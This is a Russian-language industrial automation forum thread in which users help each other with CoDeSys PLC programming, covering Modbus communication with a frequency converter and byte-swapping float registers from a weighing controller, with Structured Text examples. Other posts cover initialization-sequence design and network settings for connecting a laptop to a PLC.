ПЛК работает всегда, командное слово с битом включения отправилось в ПЧ всего один раз ("По изменению отправляется команды управления на ПЧ"). Это же не релейный выход, команда прошла в ПЧ и тишина. Теперь ПЧ выключили и включили, с чего это ПЧ должен сам включаться без команды? Ему команды ни кто после включения не давал.

Сергей0308
14.11.2015, 01:54
Ни чего странного здесь нет.
ПЛК работает всегда, командное слово с битом включения отправилось в ПЧ всего один раз ("По изменению отправляется команды управления на ПЧ"). Это же не релейный выход, команда прошла в ПЧ и тишина. Теперь ПЧ выключили и включили, с чего это ПЧ должен сам включаться без команды? Ему команды ни кто после включения не давал.

Извиняюсь, тоже интересен этот момент, как бы не совсем понятно, получается в ПЧВ регистр командного слова не энергонезависимая переменная??? Мне видится в ПЧВ надо настроить прохождение команд по уровню, а не по перепаду(изменению)!

RV9WFJ
14.11.2015, 07:47
Что-то вы непонятно о чем. Какая энегонезависимая память.... Или отслеживайте отключение питания в ПЛК или пишите слово состояния постоянно а не по изменению.

Panalexfix
14.11.2015, 10:53
Доброго времени суток!!!
Прошу помощи в переводе из Float в нормальный десятичный вид. Задача: из весового контроллера КВ 001 считать один регистр №0 (текущий вес), а он Float. Производитель сказал что нужно поменять первый и последний бит при считывании, а как это сделать не знаю((((.

Помогите кто чем может))) ссылку где почитать научиться что нибудь по моему вопросу)))) Неужели никто не знает на него ответ?

energvk
14.11.2015, 13:44
petera
Ни чего странного здесь нет.
ПЛК работает всегда, командное слово с битом включения отправилось в ПЧ всего один раз ("По изменению отправляется команды управления на ПЧ"). Это же не релейный выход, команда прошла в ПЧ и тишина. Теперь ПЧ выключили и включили, с чего это ПЧ должен сам включаться без команды? Ему команды ни кто после включения не давал.

Сергей0308
Извиняюсь, тоже интересен этот момент, как бы не совсем понятно, получается в ПЧВ регистр командного слова не энергонезависимая переменная??? Мне видится в ПЧВ надо настроить прохождение команд по уровню, а не по перепаду(изменению)!

RV9WFJ
Что-то вы непонятно о чем. Какая энегонезависимая память.... Или отслеживайте отключение питания в ПЛК или пишите слово состояния постоянно а не по изменению.


Да, действительно. Как оказалось на предыдущих вариантах программы команда запуска отправлялась периодически. В ПЧ есть два варианта регистров управления энергозависимые и энергонезависимые. Но в энергозависимую много не напишешься, ресурс памяти ограничен (а разнести команду на запуск в энергонезависимую, а задание частоты в энергозависимую нельзя). Добавил модуль отслеживания питания ПЧ, проверим. Сетевые познания слабоваты, мне виделось если в мастере висит значение, то слейв его считает при включении, но был неправ :rolleyes:

Panalexfix
14.11.2015, 16:22
Доброго времени суток!!!
Прошу помощи в переводе из Float в нормальный десятичный вид. Задача: из весового контроллера КВ 001 считать один регистр №0 (текущий вес), а он Float. Производитель сказал что нужно поменять первый и последний бит при считывании, а как это сделать не знаю((((.


Вы можете считать два регистра по отдельности (номер 0 и номер 1)? Пришлите значения которые будут видны.

ДА, оказывается разные значения:confused:

Panalexfix
14.11.2015, 17:02
Замечаю, что Вы неправы с адресацией. Сделайте 0-й и 1-й регистр - 2byte.
REAL, он же float - занимает 32 bit или 4 byte или 2 WORD
Один регистр по умолчанию - WORD
Мне от Вас нужны значения этих двух WORD
Далее переводите эти значения в HEX
Далее загоняете эти значения в конвертер (http://www.binaryconvert.com)
Если получаете нужное Вам число, значит есть простой программный механизм.

Спасибо огромное Вам, что отозвались помочь))) Дело в том, что я совсем новичОК в этом деле и не представляю, как сделать то что Вы советуете(((( Если Вас не затруднит, объясните подробнее, как сделать 0-й и 1-й регистр - 2byte? Использую ПЛК 110-60-м и в открывающемся списке под universal modbus dev нет 16-бит или 2-байт.

Panalexfix
14.11.2015, 20:09
Register input modul - он и будет двубайтовый. Настройки с дублируйте со старых переменных, но старые удалите.

При переводе из этих чисел (типа WORD) в НЕХ (шестнадцатеричный) >> регистр №0 63725=(HEX)F8ED, а регистр №1 >> 27450=(HEX)6B3A. Изначальное число которое показывает КВ 001 = 0.0 (вес равен нуль) это на всех изображениях!!! Попытался крутить их побитно в калькуляторе (менять начало и конец по 1 и 2 бита) получалась ерунда:confused:
Почему-то никакой закономерности не увидел при добавлении веса цифры хаотично меняются (старшие разряды менялись "местами" быстрее младших):confused:

Panalexfix
14.11.2015, 20:36
На всех изображениях которые я выложил вес равен ноль. А цифры которые показывает при опросе плк кв 001 это не ноль. Измерять буду от 0.01 до 2000 кг

capzap
14.11.2015, 20:40
При переводе из этих чисел (типа WORD) в НЕХ (шестнадцатеричный) >> регистр №0 63725=(HEX)F8ED, а регистр №1 >> 27450=(HEX)6B3A. Изначальное число которое показывает КВ 001 = 0.0 (вес равен нуль) это на всех изображениях!!! Попытался крутить их побитно в калькуляторе (менять начало и конец по 1 и 2 бита) получалась ерунда:confused:
Почему-то никакой закономерности не увидел при добавлении веса цифры хаотично меняются (старшие разряды менялись "местами" быстрее младших):confused:
У Вас расположение байт должно быть 2,1,4,3

Panalexfix
14.11.2015, 21:05
Если я правильно понимаю, то в моем примере должно быть так EDF83A6B ? Но это число равно в дес 3992468075 но не 0. Помогите пож. разобраться „совсем зеленому” новичку. Если не затруднит дайте пример программы перевода из word в дес желательно в cfc другого языка не знаю( но очень хочу научиться)((((

Panalexfix
14.11.2015, 21:42
Если я правильно понимаю, то в моем примере должно быть так EDF83A6B ? Но это число равно в дес 3992468075 но не 0. Помогите пож. разобраться „совсем зеленому” новичку. Если не затруднит дайте пример программы перевода из word в дес желательно в cfc другого языка не знаю( но очень хочу научиться)((((
ГОСПОДА огромное Вам СПАСИБО!!!
в первом случае получилось с 0 кг(2,1,4,3), но когда положил вес равный 1,1 кг, то методом подбора получил 4,3,2,1 как это все систематизировать? От этого миксера голова кругом((((

Panalexfix
14.11.2015, 21:49
А есть какой-либо "родной" от весов цифровой индикатор, чтоб убедиться что число, которое Вы говорите - ноль?
Не путаете ли Вы регистры по адресам и соответствует ли это описанию разметки регистров весов?
В весах точно заявлена поддержка Modbus RTU?
В конце концов отключите ПЛК, подключите через AC4 к ОПС серверу, может там сдвиг какой-то придуман злодеями.
Будете видеть всю картину значений по регистрам. Если значение Ваше увидете, так там и язык программирования не важен станет. Вы не такой уж и "зеленый", коль в субботу гранит науки кушаете.

ДА, на весовом терминале кв 001 есть индикация (шести разрядный семи сегментный индикатор). Он даже откалиброван)))
Заявлено производителем MODBUS.

capzap
14.11.2015, 22:42
ГОСПОДА огромное Вам СПАСИБО!!!
в первом случае получилось с 0 кг(2,1,4,3), но когда положил вес равный 1,1 кг, то методом подбора получил 4,3,2,1 как это все систематизировать? От этого миксера голова кругом((((

приведите значения регистров при килограмме на весах

petera
14.11.2015, 22:49
Доброго времени суток!!!
Прошу помощи в переводе из Float в нормальный десятичный вид. Задача: из весового контроллера КВ 001 считать один регистр №0 (текущий вес), а он Float. Производитель сказал что нужно поменять первый и последний бит при считывании, а как это сделать не знаю((((.
Float это и есть REAL.
Ну, что Вы сразу взялись отдельные регистры читать (два WORDа) вместо REAL. А затем пытаетесь на калькуляторе механически совмещать эти два регистра, числа с плавающей точкой выглядят не так, Смотреть двоичное представление Float (REAL) (https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%BE_%D0%BE%D0%B4%D0%B8% D0%BD%D0%B0%D1%80%D0%BD%D0%BE%D0%B9_%D1%82%D0%BE%D 1%87%D0%BD%D0%BE%D1%81%D1%82%D0%B8)
http://www.owen.ru/forum/attachment.php?attachmentid=20822&d=1447531256
Числа Float действительно занимают два регистра, только порядок передачи этих регистров по ModBus не стандартизован, по этому приходится иногда переставлять регистры местами уже в программе ПЛК.
Но переставлять местами регистры может сам Мастер. В Universal modbus device измените значение параметра Byte Sequence на Native
20821
И попробуйте, может этот вариант расположения регистров подойдет для Вашего случая.

Panalexfix
14.11.2015, 23:53
petera не помогло при этом и число осталось тоже самое без изменений

petera
15.11.2015, 00:10
petera не помогло при этом и число осталось тоже самое без изменений
Не может быть тоже самое число. Надеюсь, Вы не два Register input modul используете, а как и положено Real input modul.
Значение в переменной "ves" должно меняться в зависимости от значение параметра Byte Sequence. Попробуйте Native, а затем Trace_mode. Число должно быть разным.

Panalexfix
15.11.2015, 00:24
приведите значения регистров при килограмме на весах

При 1 кг на весах значение:
регистра №0 в WORD = 32029 переводим в НЕХ =7D1D
регистра №1 в WORD = 32831 переводим в НЕХ =803F
отсюда:
7D- это 1-й байт
1D- это 2-й байт
80- это 3-й байт
3F- это 4-й байт
Если я правильно все понимаю то 3F807D1D это и есть мой 1 кг веса со смещениями чтения байт>> 4,3,1,2
при значении 0 кг порядок чтения 2,1,4,3.
при 1 кг 4,3,1,2.
при 1,1 кг 4,3,2,1.
Как это все "миксовать" для нормального отображения?

Panalexfix
15.11.2015, 00:42
Не может быть тоже самое число. Надеюсь, Вы не два Register input modul используете, а как и положено Real input modul.
Значение в переменной "ves" должно меняться в зависимости от значение параметра Byte Sequence. Попробуйте Native, а затем Trace_mode. Число должно быть разным.

Все напутал как Вы и сказали))
Вот таки "краказябры" формата real(float)

petera
15.11.2015, 01:34
При 1 кг на весах значение:
регистра №0 в WORD = 32029 переводим в НЕХ =7D1D
регистра №1 в WORD = 32831 переводим в НЕХ =803F
отсюда:
7D- это 1-й байт
1D- это 2-й байт
80- это 3-й байт
3F- это 4-й байт
Если я правильно все понимаю то 3F807D1D это и есть мой 1 кг веса со смещениями чтения байт>> 4,3,1,2
при значении 0 кг порядок чтения 2,1,4,3.
при 1 кг 4,3,1,2.
при 1,1 кг 4,3,2,1.

Не правильно
Пришло 80 3F 7D 1D
1D- это 1-й байт
7D- это 2-й байт
3F- это 3-й байт
80- это 4-й байт
Теперь нужно в полученном переставить местами 4 и 3, 2 и 1 байты.

ЗЫ. После перестановки должно получится так 3F801D7D, что соответствует 1.00089991092681884765625 ~=1.0009 кг.

Теперь для 0 кг.
Вы получили значения
регистра №0=F8ED
регистра №1=6B3A
ED- это 1-й байт
F8- это 2-й байт
3A- это 3-й байт
6B- это 4-й байт
Или 6B3AF8ED
После перестановки байт в 6B3AF8ED должно получится 3A6BEDF8, что соответствует 8.999998681247234344482421875 е-004~=8.999999 e-004=0.0008999999=0.0009 кг

Для 1.1.кг Вы полученные значения не привели
Но должно быть примерно так
регистр №0=CDCC
регистр №1=8C3F
CC- это 1-й байт
CD- это 2-й байт
3F- это 3-й байт
8C- это 4-й байт
Или 8C3FCDCC
После перестановки байт в 8C3FCDCC должно получится 3F8CCCCD, что соответствует 1.10000002384185791015625~=1.1000 кг

petera
15.11.2015, 02:48
Да, действительно. Как оказалось на предыдущих вариантах программы команда запуска отправлялась периодически. В ПЧ есть два варианта регистров управления энергозависимые и энергонезависимые. Но в энергозависимую много не напишешься, ресурс памяти ограничен (а разнести команду на запуск в энергонезависимую, а задание частоты в энергозависимую нельзя). Добавил модуль отслеживания питания ПЧ, проверим. Сетевые познания слабоваты, мне виделось если в мастере висит значение, то слейв его считает при включении, но был неправ :rolleyes:
Master в переводе с английского Хозяин, Slave -Раб.
И где это видано, где это слыхано..., чтобы Раб командовал, давал приказы Хозяину, что тому делать:rolleyes:.
Хозяин(Master) всегда один и только он может приказывать Рабам(Slave). Slave -ПЧ, сам из мастера ничего читать не умеет. ПЧ включился и ждет (слушает линию), когда Master пошлет ему командное слово.
В мастере действительно висит значение командного слова, которое он раньше посылал ПЧ. И пока это значение не изменится мастер повторно посылать ничего не будет, т.к. режим работы ему назначен "по изменению значения".

petera
15.11.2015, 05:38
Как это все "миксовать" для нормального отображения?
Если Вы прочли пост #4666, то можно вместо двух Register input module сразу использовать
А)Либо 32bit input module
20831
Однако есть один нюанс, в зависимости от параметра Byte Sequence в UMD мастер будет по разному сортировать младший и старший WORD.
Т.е. для веса 1 кг в Вашем случае полученные значения из весов могут выглядеть либо "803F 7D1D", либо "7D1D 803F".
По этому приведу два варианта кода для перестановки байт для Ваших весов

PROGRAM PLC_PRG
VAR
SWAP_BYTE_A: DWORD;
SWAP_BYTE_B: DWORD;
ptFl : POINTER TO REAL;
ves: REAL;
ves_2: REAL;
END_VAR
(*В зависимости от параметра Byte Sequence в UMD нужно использовать
или этот вариант*)
SWAP_BYTE_A:=(ROL(ves_tmp,8) AND 16#FF00FF00) OR (ROR(ves_tmp,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_A);
ves:=ptFl^;

(*Или этот вариант*)
SWAP_BYTE_B := (ROR(ves_tmp,8) AND 16#FF00FF00) OR (ROL(ves_tmp,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_B);
ves_2:=ptFl^;
Теперь даже в эмуляции можно поиграться с ранее приведенными цифрами
20832 20833 20834

Б) А можно использовать Real input module
20835
Только здесь в конфигураторе не ждите увидеть в Real input module значения 16#
Замечание о параметре Byte Sequence в UMD здесь тоже справедливы, по этому два варианта кода

PROGRAM PLC_PRG
VAR
ptFl : POINTER TO REAL;
ptDw: POINTER TO DWORD;
ves: REAL;
ves_2: REAL;
SWAP_BYTE_C: DWORD;
END_VAR

ptDw:=ADR(ves_tmp);
(*В зависимости от параметра Byte Sequence в UMD нужно использовать
или этот вариант*)
SWAP_BYTE_C:=(ROL(ptDw^,8) AND 16#FF00FF00) OR (ROR(ptDw^,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_C);
ves:=ptFl^;

(*Или этот вариант*)
SWAP_BYTE_C:=(ROR(ptDw^,8) AND 16#FF00FF00) OR (ROL(ptDw^,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_C);
ves_2:=ptFl^;

Panalexfix
15.11.2015, 12:50
Если Вы прочли пост #4666, то можно вместо двух Register input module сразу использовать
А)Либо 32bit input module
20831
Однако есть один нюанс, в зависимости от параметра Byte Sequence в UMD мастер будет по разному сортировать младший и старший WORD.
Т.е. для веса 1 кг в Вашем случае полученные значения из весов могут выглядеть либо "803F 7D1D", либо "7D1D 803F".
По этому приведу два варианта кода для перестановки байт для Ваших весов

PROGRAM PLC_PRG
VAR
SWAP_BYTE_A: DWORD;
SWAP_BYTE_B: DWORD;
ptFl : POINTER TO REAL;
ves: REAL;
ves_2: REAL;
END_VAR
(*В зависимости от параметра Byte Sequence в UMD нужно использовать
или этот вариант*)
SWAP_BYTE_A:=(ROL(ves_tmp,8) AND 16#FF00FF00) OR (ROR(ves_tmp,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_A);
ves:=ptFl^;

(*Или этот вариант*)
SWAP_BYTE_B := (ROR(ves_tmp,8) AND 16#FF00FF00) OR (ROL(ves_tmp,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_B);
ves_2:=ptFl^;
Теперь даже в эмуляции можно поиграться с ранее приведенными цифрами
20832 20833 20834

Б) А можно использовать Real input module
20835
Только здесь в конфигураторе не ждите увидеть в Real input module значения 16#
Замечание о параметре Byte Sequence в UMD здесь тоже справедливы, по этому два варианта кода

PROGRAM PLC_PRG
VAR
ptFl : POINTER TO REAL;
ptDw: POINTER TO DWORD;
ves: REAL;
ves_2: REAL;
SWAP_BYTE_C: DWORD;
END_VAR

ptDw:=ADR(ves_tmp);
(*В зависимости от параметра Byte Sequence в UMD нужно использовать
или этот вариант*)
SWAP_BYTE_C:=(ROL(ptDw^,8) AND 16#FF00FF00) OR (ROR(ptDw^,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_C);
ves:=ptFl^;

(*Или этот вариант*)
SWAP_BYTE_C:=(ROR(ptDw^,8) AND 16#FF00FF00) OR (ROL(ptDw^,8) AND 16#00FF00FF);
ptFl:=ADR(SWAP_BYTE_C);
ves_2:=ptFl^;


ОГРОМНОЕ Спасибище за помощь в этом не легком "деле". Все работает !!!!! даже перевел в CFC для своего удобства))))) ОГРОМНЫЙ ЖИРНЫЙ +))))

Kamerton
17.11.2015, 14:25
Здравствуйте. Подскажите, пожалуйста, с настройкой связи между МВ110-8АС и ПЛК160.

У меня имеется несколько расходометров (р), итп (и), один мв110 (м) и один плк160(п), которые завязаны между собой соответственно: и<--р-->м-->п.

Открыл конфигуратор для МВ110, проверил - связь с прибором устанавливает.

Скачал пример отсюда (http://www.owen.ru/forum/showthread.php?t=21799&page=2&p=177925&viewfull=1#post177925). Подставил свои значения параметров связи (скорость передачи и адрес устройства в соответствии с конфигуратором МВ110).

Запустил - все переменные по нулям, хотя итп цифры показывают и на экранчиках (родных) у расходометров тоже есть показания небольшие (0,2-0,4).

Подскажите, как убедиться, что ПЛК корректно "видит" по RS-485 мой МВ110? И нужны ли какие-нибудь специальные настройки переменных для МВ110 в конфигураторе? Я всё оставил по умолчанию, ибо ни с чем не знаком, а в инструкциях не нашёл указаний, на сколько критичны/необходимы те или иные правки...

energvk
17.11.2015, 15:49
Master в переводе с английского Хозяин, Slave -Раб.
И где это видано, где это слыхано..., чтобы Раб командовал, давал приказы Хозяину, что тому делать:rolleyes:.
Хозяин(Master) всегда один и только он может приказывать Рабам(Slave). Slave -ПЧ, сам из мастера ничего читать не умеет. ПЧ включился и ждет (слушает линию), когда Master пошлет ему командное слово.
В мастере действительно висит значение командного слова, которое он раньше посылал ПЧ. И пока это значение не изменится мастер повторно посылать ничего не будет, т.к. режим работы ему назначен "по изменению значения".

Да, действительно всё элементарно, вопрос был глуп изначально. Просто голова была забита другими проблемами и видимо думательная часть неплохо тупила...)) Спасибо.

Nikros
18.11.2015, 15:38
Привет. Недавно начал осваивать кодесис, да и вообще в программировании не очень шарю. Столкнулся с проблемой задания условия, а именно при нажатии на кнопку pause должна срабатывать программа pause(PRG).

kasshern
23.11.2015, 13:06
добрый день, интересует программирование delta dvp20ex2 в codesys, есть ли такая возможность? если да, то как это сделать и какие имеются нюансы?

melky
23.11.2015, 13:22
kasshern с каких это пор дельта стала поддерживать CDS ?

rapucha
26.11.2015, 14:38
В моей задаче перед входом в основной цикл работы установки необходимо провести тестирование и инициализацию отдельных модулей установки. Каждая такая проверка занимает некоторое время, точно больше чем цикл ПЛК. Ну там, накачать куда-то давления, потом сбросить и проверить что все датчики это зарегистрировали, в таком духе.

А как в CoDeSys-ST и вообще в ПЛК мире принято делать такое? У меня получается изрядная "лапша" в коде.

Я завел несколько POU для этого. В каждом собственно логика проверки, таймеры на "таймаут" разных проверочных действий, признак того что проверка уже пройдена, и результат проверки. Пока все длительные действия не завершаться, признак проверки говорит "не готов".

В главном цикле ПЛК я обхожу эти инициализирующие POU. Если POU не готов с результатом, покидаю главный цикл по RETURN. Если готов, считываю результат и перехожу к следующему подобному POU.

Внутри POU такие же макароны -- если какой-то таймер готовности аппаратуры не досчитал, выхожу с признаком "не готов", если досчитал продолжаю проверку.

Смотрится некрасиво, на мой вкус, а ничего другого придумать не могу. Как бы вы такое сделали?

Yegor
26.11.2015, 14:53
Рапуча, я бы не стал рассматривать такой процесс как что-то особенное с точки зрения кода. По крайней мере сам по себе такой процесс тестирования идиом в коде не создаёт. Обычный этап автоматического процесса. Конкретно ваш код будет смысл обсуждать когда вы его покажете.

Вольд
26.11.2015, 15:44
В моей задаче перед входом в основной цикл работы установки необходимо провести тестирование и инициализацию отдельных модулей установки. Каждая такая проверка занимает некоторое время, точно больше чем цикл ПЛК. Ну там, накачать куда-то давления, потом сбросить и проверить что все датчики это зарегистрировали, в таком духе.

А при чем здесь цикл работы программы ПЛК ? Инициализация и тестирование будут выполнены за N циклов программы ПЛК, а далее ПЛК начнет выполнять циклическую часть программы.

petera
26.11.2015, 16:42
В моей задаче перед входом в основной цикл работы установки необходимо провести тестирование и инициализацию отдельных модулей установки. Каждая такая проверка занимает некоторое время, точно больше чем цикл ПЛК. Ну там, накачать куда-то давления, потом сбросить и проверить что все датчики это зарегистрировали, в таком духе.

А как в CoDeSys-ST и вообще в ПЛК мире принято делать такое? У меня получается изрядная "лапша" в коде.

Я завел несколько POU для этого. В каждом собственно логика проверки, таймеры на "таймаут" разных проверочных действий, признак того что проверка уже пройдена, и результат проверки. Пока все длительные действия не завершаться, признак проверки говорит "не готов".

В главном цикле ПЛК я обхожу эти инициализирующие POU. Если POU не готов с результатом, покидаю главный цикл по RETURN. Если готов, считываю результат и перехожу к следующему подобному POU.

Внутри POU такие же макароны -- если какой-то таймер готовности аппаратуры не досчитал, выхожу с признаком "не готов", если досчитал продолжаю проверку.

Смотрится некрасиво, на мой вкус, а ничего другого придумать не могу. Как бы вы такое сделали?
В главной программе CASE напрашивается.

rapucha
26.11.2015, 19:20
В главной программе CASE напрашивается.

да, точняк. Тоже так подумал. Спасибо.

Хотя, для описания всех этих состояний есть соблазн попробовать SFC.

ООО "БЛС инжинеринг"
26.11.2015, 22:09
Здравствуйте!
Я пользуюсь ноутбуком и к нему подключён интернет 21074 и по умолчанию стоит 21075 это всё понятно и правильно но суть в том что когда меняешь 21076 для подключения к ПЛК то интернет уже не работает приходится менять всё обратно, как можно сделать так чтобы не менять постоянно адреса?

alexx751
26.11.2015, 22:52
Кнопка "Дополнительно" и прописываете нужные адреса/шлюзы/DNS-ы

ООО "БЛС инжинеринг"
26.11.2015, 23:49
Кнопка "Дополнительно" и прописываете нужные адреса/шлюзы/DNS-ы

А можно скриншот как это правильно делается?

grenz
28.11.2015, 15:57
В моей задаче перед входом в основной цикл работы установки необходимо провести тестирование и инициализацию отдельных модулей установки. Каждая такая проверка занимает некоторое время, точно больше чем цикл ПЛК. Ну там, накачать куда-то давления, потом сбросить и проверить что все датчики это зарегистрировали, в таком духе.


Я не специалист, но, может быть Вам мое предположение поможет...

Я бы создал глобальную булевую переменную init := TRUE. После этого в PLC_PRG провел бы поочередную инициализацию всех модулей:

Пишем в PLC_PRG:

IF Init THEN Проверка1_PRG(); ELSE Rabota(); END_IF.

Пишем в Проверка1_PRG:

prov1: BOOL := TRUE; (* Объявили переменную *)

Проверяем, что нужно
IF все условия выполнены, THEN prov1 := False; END_IF.
IF NOT prov1 THEN Проверка2(); END_IF

Пишем в Проверка2_PRG:

prov2: BOOL := TRUE; (* Объявили переменную *)

Проверяем, что нужно
IF все условия выполнены, THEN prov2 := False; END_IF.
IF NOT prov2 THEN ПроверкаN(); END_IF

Пишем в ПроверкаN_PRG:

provN: BOOL := TRUE; (* Объявили переменную *)

Проверяем, что нужно
IF все условия выполнены, THEN provN := False; END_IF.
IF NOT provN THEN init := FALSE; END_IF (* Когда пропадет init, в PLC_PRG условие изменится, и мы окажемся в Rabota_PRG *)

Программа Rabota и будет основной, а при init = false, PLC_PRG уже к Проверка1(), Проверка2(), ПроверкаN() обращаться не будет. будет выполняться только Rabota.

rapucha
28.11.2015, 18:05
Я бы создал глобальную булевую переменную init := TRUE. После этого в PLC_PRG провел бы поочередную инициализацию всех модулей: IF Init THEN Проверка1_PRG(); END_IF. В PRG Проверка1 взведем локальную перем prov1 := TRUE.
Далее IF все условия выполнены, THEN prov1 := False; Проверка2_PRG(); END_IF.
В Проверка2() так же можно назначить локальную переменную, prov2 := TRUE; При выполнении всех условий prov2 := false; ПроверкаN().
Ну и так далее до выполнения всех программ инициализации...
В последней программе инициализации, когда уже все проверки проведены, provN := FALSE; init := FALSE; Rabota().

Программа Rabota и будет основной, а при init = false, PLC_PRG уже к Проверка1(), Проверка2(), ПроверкаN() обращаться не будет. будет выполняться только Rabota.

Да вот как раз этой плохо читаемой каши я и хотел избежать. Возможно, мне поможет общее описание в виде SFC-блока. При первом взгляде SFC выглядит как хороший, лаконичный способ упрятать многословные подробности внутрь "квадратиков".

grenz
28.11.2015, 19:14
Да вот как раз этой плохо читаемой каши я и хотел избежать. Возможно, мне поможет общее описание в виде SFC-блока. При первом взгляде SFC выглядит как хороший, лаконичный способ упрятать многословные подробности внутрь "квадратиков".
Как хотите. Просто мое сообщение выглядит как "многа букав" на самом деле программы проверки будут отображаться в разделе POU, а длина кода внутри Ваших проверочных программ зависит от того, что вы хотите там напроверять.

SFC, конечно, хорошо, но, по моему мнению, программа инициализации, к которой необходимо обратиться всего лишь однажды при включении питания у Вас займет пол экрана на SFC, а Вам еще и основную прогу видеть захочется.

И потом, ... Давление, говорите накачали. А если оно во время работы пропадет, что тогда? Готовьте еще пол - экрана для SFC. Такая "простыня" получится, а всего лишь давление проверили.

Хотя, конечно, каждый художник, как он хочет...

rapucha
28.11.2015, 19:44
Скорее, я хочу в виде SFC описать весь алгоритм в целом, главный цикл крупными мазками. а уж подробности - на чем получится.

zerniskist
01.12.2015, 11:09
Добрый день! Помогите связаться с контроллером! 110-60м настроил ТСР, установил таргеты какие нужно, пытаюсь выгрузить проект из плк выскакивает сообщение "Выбранный профиль ПЛК не соответствует профилю целевой платформы! Закрываю канал связи."

zerniskist
01.12.2015, 11:41
Спасибо! Сейчас попробую.

zerniskist
01.12.2015, 13:37
Все сделал как посоветовали. При попытке подключения пишет тоже самое, что и раньше.

zerniskist
01.12.2015, 14:06
Контроллер старый, снял с ТП 2 года назад, а выпущен был лет 10. Сейчас решил его оживить и на нем попрактиковаться. При включении он производит постоянный звук типа "треск" звук идет с динамика. Пытался связаться по 232 пишет тоже самое. "Выбранный профиль ПЛК не соответствует профилю целевой платформы! Закрываю канал связи."

Василий Кашуба
01.12.2015, 21:24
Контроллер старый, снял с ТП 2 года назад, а выпущен был лет 10. Сейчас решил его оживить и на нем попрактиковаться. При включении он производит постоянный звук типа "треск" звук идет с динамика. Пытался связаться по 232 пишет тоже самое. "Выбранный профиль ПЛК не соответствует профилю целевой платформы! Закрываю канал связи."
Пере прошейте контроллер новой прошивкой.

amn
02.12.2015, 00:05
Настройки протокола интернета (TCP/IP) для обеспечения одновременной работы интернета и подключения ПЛК через Езернет.

Задаем два IP адреса, для этого надо воспользоваться кнопкой "Дополнительно": первый адрес должен быть в подсети роутера, второй в подсети ПЛК.

1: 192.168.1.20 маска подсети 255.255.255.0
2: 10.0.6.47 маска подсети 255.255.255.0

Остальные настройки смотрим в настройках роутера. Например у меня такие:

Основной шлюз: 192.168.1.1 - это IP адрес роутера
Предпочитаемый DNS-сервер: 82.151.98.162
Альтернативный DNS-сервер: 82.151.98.154

zerniskist
02.12.2015, 07:26
При пере прошивке контроллер форматируется пишет: повреждение памяти 0, Начинает записывать прошивку, через 10 секунд пишет "контроллер не отвечает"

alex55
02.12.2015, 12:03
Неплохо бы вскрыть и проверить на наличие мышиных и тараканьих экскриментов.. такое бывало-10 лет срок большой:cool:

Alvur
02.12.2015, 14:46
День добрый, зубры АСУТП.
Подскажите пожалуйста можно ли сохранять текущее значение изменяющейся переменной. Если да, то как.
Имеются связанные по RS-485 СИ-8 и ПЛК110. Необходимо обнулять значение СИ-8 с сохранением значения в контроллере.
Заранее спасибо.

ЕСергей
03.12.2015, 23:22
Привет всем, у меня простейший вопрос.
Необходимо, чтобы по нажатию кнопки стрелочный индикатор двигался (доходил до максимума и обратно)
никак не могу сообразить
заранее спасибо

Василий Кашуба
03.12.2015, 23:58
Привет всем, у меня простейший вопрос.
Необходимо, чтобы по нажатию кнопки стрелочный индикатор двигался (доходил до максимума и обратно)
никак не могу сообразить
заранее спасибо
По нажатию кнопки запускаете генератор, с выхода генератора через элементы "И" подаёте на реверсивный счётчик, с выхода счётчика на схемы сравнения с верхним и нижним пределами изменения значения счётчика. С выходов схем сравнения на триггер, триггер управляет счётом вперёд/назад, а с выхода счётика на аналоговый выход. Как то так.

petera
04.12.2015, 04:31
Привет всем, у меня простейший вопрос.
Необходимо, чтобы по нажатию кнопки стрелочный индикатор двигался (доходил до максимума и обратно)
никак не могу сообразить
заранее спасибо
На CFC, например, так
21176

https://www.youtube.com/watch?v=IM308rAQhPU

ЗЫ.
Еще один пример, но SFC. Который типа "кране не удобный" http://www.owen.ru/forum/showthread.php?t=22826&p=188588&viewfull=1#post188588;)
21177

21178

https://www.youtube.com/watch?v=DvGQmGdGj6c

Evgenyi
04.12.2015, 16:02
Здравствуйте!
(у меня почти нет опыта в программировании плк, уточняю что бы Ваши советы были как можно полнее и понятнее).
Я с приборов получаю данные на плк. С помощью OPC-server и scada(использую web-scada) вывожу эти данные в браузере. ПЛК настроен по протоколу Modbas(master) RS-485.
Необходимо со scada передавать команды в плк. Как это реализовать?

Как я понял необходимо:
1 сделать Modbas(master) RS-485 и Modbas(sleve) Ehternet(TCP/IP).
2 Прописать программно выходы с Modbas(master). и входы Modbas(sleve) примерно так
X:=out1;
Y:=in1;
что бы opc-server мог обмениваться с программой плк и можно было обрабатывать значения входов и выходов, а также передавать переменные с Modbas(sleve) в Modbas(master) который в последствии передаст на прибор сигнал управления, а прибор выполнит свою задачу?
Если есть ссылки на короткое и понятное описание моей темы прошу скинуть.
Всем спасибо заранее!!!!

forpiv
06.12.2015, 10:22
В наличии ПЛК 160, к нему подключены несколько МВА8 и МДВВ. Как проверить связь с каждым модулем, что бы можно было определить какой модуль отвалился?

capzap
06.12.2015, 10:28
В наличии ПЛК 160, к нему подключены несколько МВА8 и МДВВ. Как проверить связь с каждым модулем, что бы можно было определить какой модуль отвалился?

а как Вы общаетесь с модулями, через конфигурацию или библиотеку? Если через конфигурацию, прочтите документацию на неё, там описано про последний опрашиваемый прибор и номер ошибки по опрашиваемому слейву

forpiv
06.12.2015, 10:51
Про последний адрес и коды ошибок нашел - спасибо. Но для определения конкретного модуля на ум ничего не приходит, кроме проверки условия "если - тогда - иначе". Можно ли проверку сделать как то иначе?

capzap
06.12.2015, 13:29
да куда уж точнее, следите за опрашиваемым слейвом, по измегению проверяете ошибку если равно нулю,значит всё хорошо, если что то есть, у Вас появляется информация какой слей дал сбой

ООО "БЛС инжинеринг"
06.12.2015, 16:56
Настройки протокола интернета (TCP/IP) для обеспечения одновременной работы интернета и подключения ПЛК через Езернет.

Задаем два IP адреса, для этого надо воспользоваться кнопкой "Дополнительно": первый адрес должен быть в подсети роутера, второй в подсети ПЛК.

1: 192.168.1.20 маска подсети 255.255.255.0
2: 10.0.6.47 маска подсети 255.255.255.0

Остальные настройки смотрим в настройках роутера. Например у меня такие:

